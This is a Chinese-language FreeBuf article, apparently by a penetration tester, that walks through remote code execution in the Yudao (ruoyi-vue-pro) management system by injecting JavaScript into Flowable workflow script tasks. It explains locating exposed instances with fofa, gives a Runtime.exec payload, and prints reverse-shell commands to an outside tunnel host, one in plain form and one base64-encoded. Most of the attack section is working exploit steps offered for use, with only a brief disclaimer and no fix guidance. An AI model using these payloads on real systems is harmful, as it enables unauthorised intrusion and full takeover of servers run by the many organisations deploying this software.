freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

芋道管理系统RCE漏洞简谈
2023-05-23 10:33:02
所属地 广西

本帖旨在于技术交流,请勿进行非法攻击行为。

芋道管理系统是当前gitee上最受欢迎的开源系统,其收到的Start数量已经超过50k,该系统集成多种功能于一身,被众多企业所接受。但是越强大的的功能则越容易引入高风险的安全问题,通过代码审计发现该系统集成了flowable流程组件,该组件通过解析xml模板实现流程部署与执行,我们可以利用其支持解析动态脚本的特性注入恶意代码,从而实现RCE,接下来我们将针对该漏洞进行简要分析。

项目信息:

芋道源码

Ruoyi-vue-pro

https://gitee.com/zhijiantianya/ruoyi-vue-pro


image-20230401235841904

一、资产定位

通过fofa搜索 芋道管理系统 即可

https://fofa.info/

image-20230402000442938

二、攻击示例

新建一个流程模板

image-20230402000724292

设计模板

新增一个脚本任务,脚本类型设置为JavaScript,脚本内容为java.lang.Runtime.getRuntime().exec()

此时我们先用DNSLog探测一下命令是否真的能够执行

image-20230402001231203

保存模型,绑定表单,发布流程

image-20230402001541862

进入我的流程发起一个新的流程,此时命令已经触发

image-20230402001636109

通过DNSLog监听到了域名解析请求,证明命令成功执行

image-20230402005823483

三、GetShell

懒得搞webshell,直接反弹shell吧

1.利用花生壳进行内网穿透

具体操作可以百度,这里不进行详细介绍,其实你也可以自己买一个云服务器进行监听

参考:https://www.cnblogs.com/happycodera/p/16403331.html

image-20230402002900704

2.构造POC

这里容易踩坑,java.lang.Runtime.getRuntime().exec()是不能直接进行多参数命令处理的,而反弹shell的命令需要包含多个参数

java.lang.Runtime.getRuntime().exec("bash -i>& /dev/tcp/6v7255611.zicp.fun/50392 0>&1");

上述命令会报错,不能执行

我们需要转换为base64的命令形式S

java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLdsdzZ2NzI4NzAyZjYuemljcC5mdW4vMjE5NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");

参考:http://www.taodudu.cc/news/show-316467.html

重复上述第二步,再次发起一个流程,我们可以在Kali上监听到反弹过来的shell,从而获取系统控制权。

image-20230402005349834

image-20230402004354508

四、总结

其实流程脚本任务不仅支持JS脚本,还支持Python,Groovy等脚本,其底层原理则是调用java中对应语言的解析函数,如JS脚本则是调用了ScriptEngine中的eval函数。据了解,流程引擎还支持表达式解析,所以该组件还存在其它的注入可能,以上仅对脚本注入的攻击形式进行了简单的探讨。这样的漏洞适用于几乎所有集成流程管理功能的系统,比如若依、Guss等系统均存在此类问题。

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录